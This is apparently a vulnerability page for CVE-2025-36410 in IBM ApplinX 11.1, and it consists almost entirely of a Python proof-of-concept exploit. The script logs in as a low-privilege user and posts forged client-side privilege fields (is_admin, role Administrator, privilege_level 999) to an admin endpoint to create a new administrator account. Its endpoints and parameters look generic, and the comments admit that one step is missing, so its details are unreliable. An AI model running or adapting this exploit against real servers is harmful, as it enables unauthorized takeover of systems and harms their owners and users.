CVE-2025-36410: IBM ApplinX 11.1 认证用户权限提升漏洞

# CVE-2025-36410 PoC - IBM ApplinX 11.1 Privilege Escalation # This PoC demonstrates how an authenticated low-privilege user can # perform unauthorized administrative actions import requests import json TARGET_URL = "https://target-server:8443/applinx" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_36410(): """ Exploit for CVE-2025-36410: Server-Side Enforcement of Client-Side Security Steps: 1. Authenticate with low-privilege account 2. Capture and modify client-side security parameters 3. Execute unauthorized administrative action """ session = requests.Session() # Step 1: Normal authentication with low-privilege user login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Capture legitimate admin request to extract security tokens # In real attack, attacker would intercept admin user's legitimate request # and extract the security parameters being used # Step 3: Craft malicious request with elevated privileges # The vulnerability allows client-side security parameters to be # manipulated to gain unauthorized admin access malicious_request = { "action": "admin.users.create", "username": "new_admin", "password": "P@ssw0rd123!", "role": "Administrator", # Client-side security parameters that can be manipulated "client_security_token": "ADMIN_TOKEN", "is_admin": True, "privilege_level": 999, "session_context": { "user_role": "Admin", "can_execute_admin": True } } # Step 4: Send malicious request exploit_response = session.post( f"{TARGET_URL}/api/admin/users", json=malicious_request, headers={"X-Requested-With": "XMLHttpRequest"} ) if exploit_response.status_code in [200, 201]: print("[+] Privilege escalation successful!") print("[+] New admin user created without proper authorization") return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_36410()